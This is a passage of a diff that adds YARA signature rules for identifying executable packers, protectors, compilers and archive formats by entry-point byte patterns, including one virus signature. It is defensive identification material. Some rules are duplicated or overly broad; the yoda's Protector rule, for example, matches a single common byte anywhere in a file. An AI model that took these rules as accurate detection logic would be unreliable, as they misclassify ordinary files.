+		$0 = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D A7 1A 00 00 B9 6C 1A 00 00 BA 20 1B 00 00 BE 00 10 00 00 BF B0 53 00 00 BD EC 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? 81 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v070_
+{
+	meta:
+		description = "tElock v0.70"
+	strings:
+		$0 = {60 E8 BD 10 00 00 C3 83 E2 00 F9 75 FA 70}
+		$1 = {60 E8 BD 10 00 00 C3 83 E2 00 F9 75 FA 70}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _WinUpack_v030_beta__By_Dwing_
+{
+	meta:
+		description = "WinUpack v0.30 beta -> By Dwing"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00}
+		$1 = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00}
+		$2 = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02}
+	condition:
+		$0 at entrypoint or $1 or $2
+}
+rule _RLPack_116_LZMA_compression__ap0x_
+{
+	meta:
+		description = "RLPack 1.16 (LZMA compression) -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 5A 0A 00 00 8D 9D 40 02 00 00 33 FF E8 83 01 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 EB 09 00 00 89 85 3A 0A 00 00 EB 14 60 FF B5 3A 0A 00 00 FF 34 37 FF 74 37 04 FF D3 61 83 C7 08 83 3C 37 00 75 E6 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 EB 09 00 00 89 85 56 0A 00 00 5B 60 FF B5 3A 0A 00 00 56 FF B5 56 0A 00 00 FF D3 61 8B B5 56 0A 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 E8 E7 00 00 00 83 C0 04 89 85 52 0A 00 00 E9 97 00 00 00 56 FF 95 E3 09 00 00 89 85 4E 0A 00 00 85 C0 0F 84 C2}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_20_
+{
+	meta:
+		description = "ASProtect 2.0"
+	strings:
+		$0 = {68 01 ?? 40 00 E8 01 00 00 00 C3 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _BeRoEXEPacker_v100_LZBRR_
+{
+	meta:
+		description = "BeRoEXEPacker v1.00 [LZBRR"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC B2 80 33 DB A4 B3 02 E8 ?? ?? ?? ?? 73 F6 33 C9 E8 ?? ?? ?? ?? 73 1C 33 C0 E8 ?? ?? ?? ?? 73 23 B3 02 41 B0 10}
+	condition:
+		$0 at entrypoint
+}
+rule _PackItBitch_10__archphase_
+{
+	meta:
+		description = "PackItBitch 1.0 -> archphase"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 28 ?? ?? ?? 35 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 41 ?? ?? ?? 50 ?? ?? ?? 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74}
+		$1 = {00 00 00 00 00 00 00 00 00 00 00 00 28 ?? ?? ?? 35 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 41 ?? ?? ?? 50 ?? ?? ?? 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? ?? ?? 79 ?? ?? ?? 7D ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$2 = {00 00 00 00 00 00 00 00 00 00 00 00 28 ?? ?? ?? 35 ?? ?? ?? 00 00 00}
+	condition:
+		$0 at entrypoint or $1 or $2 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Borland_Delphi__Borland_Cpp_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 66 9C 60 50}
+		$1 = {2B C2 E8 02 00 00 00 95 4A 59 8D 3D 52 F1 2A E8 C1 C8 1C BE 2E ?? ?? 18 EB 02 AB A0 03 F7}
+		$2 = {2B C2 E8 02 00 00 00 95 4A 59 8D 3D 52 F1 2A E8 C1 C8 1C BE 2E ?? ?? 18 EB 02 AB A0 03 F7 EB 02 CD 20 68 F4 00 00 00 0B C7 5B 03 CB 8A 06 8A 16 E8 02 00 00 00 8D 46 59 EB 01 A4 02 D3 EB 02 CD 20 02 D3 E8 02 00 00 00 57 AB 58 81 C2 AA 87 AC B9 0F BE C9 80}
+		$3 = {EB 01 2E EB 02 A5 55 BB 80 ?? ?? 00 87 FE 8D 05 AA CE E0 63 EB 01 75 BA 5E CE E0 63 EB 02}
+		$4 = {2B C2 E8 02 00 00 00 95 4A 59 8D 3D 52 F1 2A E8 C1 C8 1C BE 2E ?? ?? 18 EB 02 AB A0 03 F7 EB 02 CD 20 68 F4 00 00 00 0B C7 5B 03 CB 8A 06 8A 16 E8 02 00 00 00 8D 46 59 EB 01 A4 02 D3 EB 02 CD 20 02 D3 E8 02 00 00 00 57 AB 58 81 C2 AA 87 AC B9 0F BE C9 80 EA 0F E8 01 00 00 00 64 59 02 D3 EB 02 D6 5C 88 16 EB 02 CD 20 46 E8 02 00 00 00 6B B5 59 4B 0F B7 C6 0B DB 75 B1 EB 02 50 AA 91 44 5C 90 D2 95 57 9B AE E1 A4 65 ?? ?? ?? B3 09 A1 C6 BF C2 C5 CA 9D 43 D6 5E ED 20 EF B2 A6 98 69 1F CA 96 A8 FA FA 12 25 77 FF 3D D6 0F 27 3A 8C 34 52 E2 24 3C 4F A1 52 E7 39 7B ED 50 42 5A 6D 5E 0F C5 4E CD 9A 08 4C 40 4F AD 6D 70 73 A1 44 F1 8F 6A BD 88 8B 8E 7C BC 43 6B 85 14 E4 B9 72 97 CB 43 FD 79 9B C6 6D AC E9 CA CD D0 10 D6 56 DC DF 55 EF 68 E7 F3 64 FA 7A F2 7C 77 05}
+		$5 = {B8 ?? ?? ?? 00 B9 75 ?? ?? 00 50 51 E8 05 00 00 00 E9 4A 01 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 8A 06 46 88 07 47 BB 02 00 00 00 02 D2 75 05 8A 16 46 12 D2 73 EA 02 D2 75 05 8A 16 46 12 D2 73 4F 33 C0 02 D2 75 05 8A 16 46 12 D2 0F 83 DF 00 00 00 02 D2 75 05 8A 16 46 12 D2 13 C0 02 D2 75 05 8A 16 46 12 D2 13 C0 02 D2 75 05 8A 16 46 12 D2 13 C0 02 D2 75 05 8A 16 46 12 D2 13 C0 74 06 57 2B F8 8A 07 5F 88 07 47 BB 02 00 00 00 EB 9B B8 01 00 00 00 02 D2 75 05 8A 16 46 12 D2 13 C0 02 D2 75 05 8A 16 46 12 D2 72 EA 2B C3 BB 01 00 00 00 75 28 B9 01 00 00 00 02 D2 75 05 8A 16 46 12 D2 13 C9 02 D2 75 05 8A 16 46 12 D2 72 EA 56 8B F7 2B F5 F3 A4 5E E9 4F FF FF FF 48 C1 E0 08 8A 06 46 8B E8 B9 01 00 00 00 02 D2 75 05 8A 16 46 12 D2 13 C9 02 D2 75 05 8A 16 46 12 D2 72 EA 3D 00 7D 00 00 73 1A 3D 00 05 00 00 72 0E 41 56 8B F7 2B F0 F3 A4 5E E9 0F FF FF FF 83 F8 7F 77 03 83 C1 02 56 8B F7 2B F0 F3 A4 5E E9 FA FE FF FF 8A 06 46 33 C9 C0 E8 01 74 17 83 D1 02 8B E8 56 8B F7 2B F0 F3 A4 5E BB 01 00 00 00 E9 D9 FE FF FF 2B 7C 24 28 89 7C 24 1C 61 C2 08 00 E9 ?? ?? ?? 00 E9 38 ?? ?? ?? 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint or $5 at entrypoint
+}
+rule _yodas_Protector_v1033_dllocx__Ashkbiz_Danehkar_h_
+{
+	meta:
+		description = "yoda's Protector v1.03.3 (.dll,.ocx) -> Ashkbiz Danehkar (h)"
+	strings:
+		$0 = {60}
+	condition:
+		$0
+}
+rule _Stony_Brook_Pascal_v614_
+{
+	meta:
+		description = "Stony Brook Pascal v6.14"
+	strings:
+		$0 = {31 ED 9A ?? ?? ?? ?? 55 89 E5 ?? EC ?? ?? 9A}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Protector_V260hyings_PEArmor_V0460_modify__Engprog_
+{
+	meta:
+		description = "PE_Protector V2.60£¨hying's PE-Armor V0.460 modify£© -> Engprog"
+	strings:
+		$0 = {55 53 51 52 56 57 E8 E1 00 00 00}
+		$1 = {55 53 51 52 56 57 E8 E1 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 5D 81 ED 0B 00 00 00 8B 9D 9B 00 00 00 03 9D 9F 00 00 00 0B DB 74 14 8B 83 7F 46 00 00 03 83 87 46 00 00 5F 5E 5A 59 5B 5D FF E0 8D 75 43 56 FF 55 54 8D B5 A3 00 00 00 56 50 FF 55 50 89 85 B0 00 00 00 8D 75 43 56 FF 55 54 8D B5 B4 00 00 00 56 50 FF 55 50 89 85 C0 00 00 00 8D 75 43 56 FF 55 54 8D B5 C4 00 00 00 56 50 FF 55 50 89 85 D0 00 00 00 6A 40 68 00 10 00 00 FF B5 97 00 00 00 6A 00 FF 95 B0 00 00 00 89 85 9B 00 00 00 55 8D 9D F2 01 00 00 53 8D 9D CC 01 00 00 FF D3 8B 74 24 04 8B 7C 24 0C F7 46 04 07 00 00 00 75 08 81 3E 27 00 00 C0 75 06 B8 00 00 00 00 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Launcher_Generator_v103_
+{
+	meta:
+		description = "Launcher Generator v1.03"
+	strings:
+		$0 = {68 00 20 40 00 68 10 20 40 00 6A 00 6A 00 6A 20 6A 00 6A 00 6A 00 68 F0 22 40 00 6A 00 E8 93 00 00 00 85 C0 0F 84 7E 00 00 00 B8 00 00 00 00 3B 05 68 20 40 00 74 13 6A ?? 68 60 23 40 00 68 20 23 40 00 6A 00 E8 83 00 00 00 A1 58 20 40 00 3B 05 6C 20 40 00}
+		$1 = {68 00 20 40 00 68 10 20 40 00 6A 00 6A 00 6A 20 6A 00 6A 00 6A 00 68 F0 22 40 00 6A 00 E8 93 00 00 00 85 C0 0F 84 7E 00 00 00 B8 00 00 00 00 3B 05 68 20 40 00 74 13 6A ?? 68 60 23 40 00 68 20 23 40 00 6A 00 E8 83 00 00 00 A1 58 20 40 00 3B 05 6C 20 40 00 74 51 C1 E0 02 A3 5C 20 40 00 BB 70 21 40 00 03 C3 8B 18 68 60 20 40 00 53 B8 F0 21 40 00 03 05 5C 20 40 00 8B D8 8B 03 05 70 20 40 00 50 B8 70 22 40 00 03 05 5C 20 40 00 FF 30 FF 35 00 20 40 00 E8 26 00 00 00 A1 58 20 40 00 40 A3 58 20 40 00 EB A2 6A FF E8 00 00 00 00 FF 25 5C 30 40 00 FF 25 60 30 40 00 FF 25 64 30 40 00 FF 25 68 30 40 00 FF 25 6C 30 40 00 FF 25 74 30 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _Ding_Boys_PElock_v007_
+{
+	meta:
+		description = "Ding Boy's PE-lock v0.07"
+	strings:
+		$0 = {55 57 56 52 51 53 E8 00 00 00 00 5D 8B D5 81 ED 23 35 40 00}
+		$1 = {55 57 56 52 51 53 E8 00 00 00 00 5D 8B D5 81 ED 23 35 40 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vcasm_Protector_V1X__vcasm_
+{
+	meta:
+		description = "Vcasm Protector V1.X -> vcasm"
+	strings:
+		$0 = {EB ?? 5B 56 50 72 6F 74 65 63 74 5D}
+		$1 = {EB ?? 5B 56 50 72 6F 74 65 63 74 5D}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _GZIP_Archive_
+{
+	meta:
+		description = "GZIP Archive"
+	strings:
+		$0 = {1F 8B 08 08 ?? ?? ?? 35}
+	condition:
+		$0 at entrypoint
+}
+rule _Exact_Audio_Copy__UnknownCompiler_
+{
+	meta:
+		description = "Exact Audio Copy -> (UnknownCompiler)"
+	strings:
+		$0 = {E8 ?? ?? ?? 00 31 ED 55 89 E5 81 EC ?? 00 00 00 8D BD ?? FF FF FF B9 ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _CExe_v10a_
+{
+	meta:
+		description = "CExe v1.0a"
+	strings:
+		$0 = {55 8B EC 81 EC 0C 02 ?? ?? 56 BE 04 01 ?? ?? 8D 85 F8 FE FF FF 56 50 6A ?? FF 15 54 10 40 ?? 8A 8D F8 FE FF FF 33 D2 84 C9 8D 85 F8 FE FF FF 74 16}
+		$1 = {55 8B EC 81 EC 0C 02 ?? ?? 56 BE 04 01 ?? ?? 8D 85 F8 FE FF FF 56 50 6A ?? FF 15 54 10 40 ?? 8A 8D F8 FE FF FF 33 D2 84 C9 8D 85 F8 FE FF FF 74 16}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EYouDiDai_YueHeiFengGao_
+{
+	meta:
+		description = "E.You.Di.Dai-> YueHeiFengGao"
+	strings:
+		$0 = {55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 57 0F 31 8B D8 0F 31 8B D0 2B D3 C1 EA 10 B8 ?? ?? ?? ?? 0F 6E C0 B8 ?? ?? ?? ?? 0F 6E C8 0F F5 C1 0F 7E C0 0F 77 03 C2 ?? ?? ?? ?? ?? FF E0}
+		$1 = {55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 57 0F 31 8B D8 0F 31 8B D0 2B D3 C1 EA 10 B8 ?? ?? ?? ?? 0F 6E C0 B8 ?? ?? ?? ?? 0F 6E C8 0F F5 C1 0F 7E C0 0F 77 03 C2 ?? ?? ?? ?? ?? FF E0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Upack_v039_final_
+{
+	meta:
+		description = "Upack v0.39 final"
+	strings:
+		$0 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 39 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_032a_fake_MSVCpp_70_DLL_Method_3__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake MSVC++ 7.0 DLL Method 3) -> emadicius"
+	strings:
+		$0 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 5E 5B 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _CAN2EXE_v001_
+{
+	meta:
+		description = "CAN2EXE v0.01"
+	strings:
+		$0 = {26 8E 06 ?? ?? B9 ?? ?? 33 C0 8B F8 F2 AE E3 ?? 26 38 05 75 ?? EB ?? E9}
+	condition:
+		$0 at entrypoint
+}
+rule _PUNiSHER_15_DEMO__FEUERRADERAHTeam_
+{
+	meta:
+		description = "PUNiSHER 1.5 (DEMO) -> FEUERRADER/AHTeam"
+	strings:
+		$0 = {EB 04 83 A4 BC CE 60 EB 04 80 BC 04 11 E8 00 00 00 00 81 2C 24 CA C2 41 00 EB 04 64 6B 88 18 5D E8 00 00 00 00 EB 04 64 6B 88 18 81 2C 24 86 00 00 00 EB 04 64 6B 88 18 8B 85 9C C2 41 00 EB 04 64 6B 88 18 29 04 24 EB 04 64 6B 88 18 EB 04 64 6B 88 18 8B 04}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v183_
+{
+	meta:
+		description = "Armadillo v1.83"
+	strings:
+		$0 = {55 8B EC 6A FF 68 E0 C1 40 00 68 64 84 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+		$1 = {55 8B EC 6A FF 68 E0 C1 40 00 68 64 84 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PKLITE32_v11_
+{
+	meta:
+		description = "PKLITE32 v1.1"
+	strings:
+		$0 = {55 8B EC A1 ?? ?? ?? ?? 85 C0 74 09 B8 01 ?? ?? ?? 5D C2 0C ?? 8B 45 0C 57 56 53 8B 5D 10}
+		$1 = {55 8B EC A1 ?? ?? ?? ?? 85 C0 74 09 B8 01 00 00 00 5D C2 0C 00 8B 45 0C 57 56 53 8B 5D 10}
+		$2 = {68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 00 00 00 00 E8}
+		$3 = {68 ?? ?? ?? ?? 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 44 24 0C 50}
+		$4 = {50 4B 4C 49 54 45 33 32 20 43 6F 70 79 72 69 67 68 74 20 31}
+		$5 = {8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 8A 07 72 EB B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 ?? 75 ?? 8B 1E 83 EE FC}
+		$6 = {53 55 8B E8 33 DB EB 60 0D 0A 0D 0A 57 57 50 61 63 6B 33 32}
+		$7 = {55 8B EC A1 ?? ?? ?? ?? 85 C0 74 09 B8 01 ?? ?? ?? 5D C2 0C ?? 8B 45 0C 57 56 53 8B 5D 10}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint or $5 at entrypoint or $6 at entrypoint or $7
+}
+rule _Pelock_10x_
+{
+	meta:
+		description = "Pelock 1.0x"
+	strings:
+		$0 = {4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 4B 45}
+	condition:
+		$0 at entrypoint
+}
+rule _TopSpeed_v301_1989_
+{
+	meta:
+		description = "TopSpeed v3.01 1989"
+	strings:
+		$0 = {1E BA ?? ?? 8E DA 8B ?? ?? ?? 8B ?? ?? ?? FF ?? ?? ?? 50 53}
+		$1 = {1E BA ?? ?? 8E DA 8B ?? ?? ?? 8B ?? ?? ?? FF ?? ?? ?? 50 53}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _eXPressor_V12__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor V1.2 -> CGSoftLabs"
+	strings:
+		$0 = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_1250__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.2.5.0 -> Obsidium Software"
+	strings:
+		$0 = {E8 0E 00 00 00 8B 54 24 0C 83 82 B8 00 00 00}
+		$1 = {E8 0E 00 00 00 8B 54 24 0C 83 82 B8 00 00 00 0D 33 C0 C3 64 67 FF 36 00 00 64 67 89 26 00 00 50 33 C0 8B 00 C3 E9 FA 00 00 00 E8 D5 FF FF FF 58 64 67 8F 06 00 00 83 C4 04 E8 2B 13 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_Haryanto_
+{
+	meta:
+		description = "Vx: Haryanto"
+	strings:
+		$0 = {81 EB 2A 01 8B 0F 1E 5B 03 CB 0E 51 B9 10 01 51 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _Unknown_SFX_Archive_MRI_
+{
+	meta:
+		description = "Unknown SFX Archive (MRI)"
+	strings:
+		$0 = {4D 52 49}
+	condition:
+		$0 at entrypoint
+}
+rule _COMPACK_45_
+{
+	meta:
+		description = "COMPACK 4.5"
+	strings:
+		$0 = {BE 00 00 E8 00 00 5D 83 C5 FA 55 50 53 51 52 0E 07 0E 1F 8B CE 8D 72 42 BF 82 FF D1 E9 FD 57 F3 A5 8D 75 02 FC F9 8B FD C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_precompiled_header_file_
+{
+	meta:
+		description = "Borland precompiled header file"
+	strings:
+		$0 = {54 50 53}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v60_DLL_
+{
+	meta:
+		description = "Microsoft Visual C++ v6.0 DLL"
+	strings:
+		$0 = {8B 44 ?? 08}
+		$1 = {55 8D 6C ?? ?? 81 EC ?? ?? ?? ?? 8B 45 ?? 83 F8 01 56 0F 84 ?? ?? ?? ?? 85 C0 0F 84}
+		$2 = {55 8B EC 53 8B 5D 08 56 8B 75 0C}
+		$3 = {00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 51 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? 8B ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4D ?? ?? ?? ?? 02}
+		$4 = {55 8B EC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+		$5 = {83 3D B4 ?? ?? ?? ?? 55 8B EC 56 57 75 6B 68 00 01 00 00 E8 ?? 0B 00 00 83 C4 04 8B 75 08 A3 B4 ?? ?? ?? 85 F6 74 23 83 7D 0C 03 77 1D 68 FF}
+		$6 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 4B 45}
+		$7 = {00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 51 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B}
+		$8 = {83 7C 24 08 01 75 09 8B 44 24 04 A3 ?? ?? 00 10 E8 8B FF FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint or $5 at entrypoint or $6 at entrypoint or $7 at entrypoint or $8 at entrypoint
+}
+rule _Pelles_C_280_290_EXE_X86_CRTLIB_
+{
+	meta:
+		description = "Pelles C 2.80 -2.90 EXE (X86 CRT-LIB)"
+	strings:
+		$0 = {55 89 E5 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 83 EC ?? 83 EC ?? 53 56 57 89 65 E8 68 00 00 00 ?? E8 ?? ?? ?? ?? 59 A3}
+		$1 = {55 89 E5 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 83 EC ?? 83 EC ?? 53 56 57 89 65 E8 68 00 00 00 ?? E8 ?? ?? ?? ?? 59 A3}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _PESpin_V11__cyberbob_
+{
+	meta:
+		description = "PESpin V1.1 -> cyberbob"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 7D DE 46 00 0B E4 74 9E}
+		$1 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 7D DE 46 00 0B E4 74 9E}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _aPack_096_m_
+{
+	meta:
+		description = "aPack 0.96 -m"
+	strings:
+		$0 = {8C C8 05 00 00 8E C0 59 8E D0 51 BE 00 01 BF 00 01 50 57 FC B2 80 BD 00 01 50 A4 FF D5 73 FB FF D5 B1 01 73 13 FF D5 BB 10 00 72 25 FF D5 12 DB 73 FA 75 00 93 AA EB E3 B7 01 FF D5 12 FF 72 00 FF D5 72 F6 FF D5 13 C9 FF D5 72 F8 80 EF 03 72}
+	condition:
+		$0 at entrypoint
+}
+rule _JRC_Archive_
+{
+	meta:
+		description = "JRC Archive"
+	strings:
+		$0 = {4A 52 63 68 69 76 65}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_444a_public_build__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo 4.44a public build -> Silicon Realms Toolworks"
+	strings:
+		$0 = {55 8B EC 83 EC 0C 53 56 57 8B 45 08 50 FF 15 ?? ?? ?? ?? 83 C4 04 89 45 FC 8B 45 FC 51 B9 00 08 00 00 B9 06 00 00 00 F7 D1 0F C8 F7 D1 41 41 41 41 41 41 41 83 C1 04 41 41 41 41 83 C1 03 41 41 41 41 41 41 49 41 FE C1 FE C1 FE C1 83 C1 0D FE C1 FE C1 FE C1 FE C1 FE C1 83 C1 0A 49 52 BA 04 00 00 00 03 CA 41 5A 0F C8 23 C1 59 F7 D8 1B C0 F7 D8 5A 89 45 F4 8B 0D ?? ?? ?? ?? 33 0D ?? ?? ?? ?? D1 E1 89 4D F8 83 7D F4 00 74 09 8B 55 F8 83 CA 01 89 55 F8 8B 45 F8 50 FF 15 ?? ?? ?? ?? 83 C4 04 5F 5E 5B 8B E5 5D C3 55 8B EC 83 EC 0C 53 56 57 8B 45 08 50 FF 15 ?? ?? ?? ?? 83 C4 04 89 45 FC 8B 45 FC 53 BB 80 00 00 00 EB 05 BB 04 00 00 00 BB 32 00 00 00 F7 D3 0F C8 F7 D3 43 43 83 E0 00 83 C3 08 4B 51 B9 04 00 00 00 03 D9 43 59 0F C8 40 5B 89 45 F4 8B 0D ?? ?? ?? ?? 33 0D ?? ?? ?? ?? D1 E1 89 4D F8 83 7D F4 00 74 09 8B 55 F8 83 CA 01 89 55 F8 8B 45 F8 50 FF 15 ?? ?? ?? ?? 83 C4 04 5F 5E 5B 8B E5 5D C3 55 8B EC 83 EC 0C 53 56 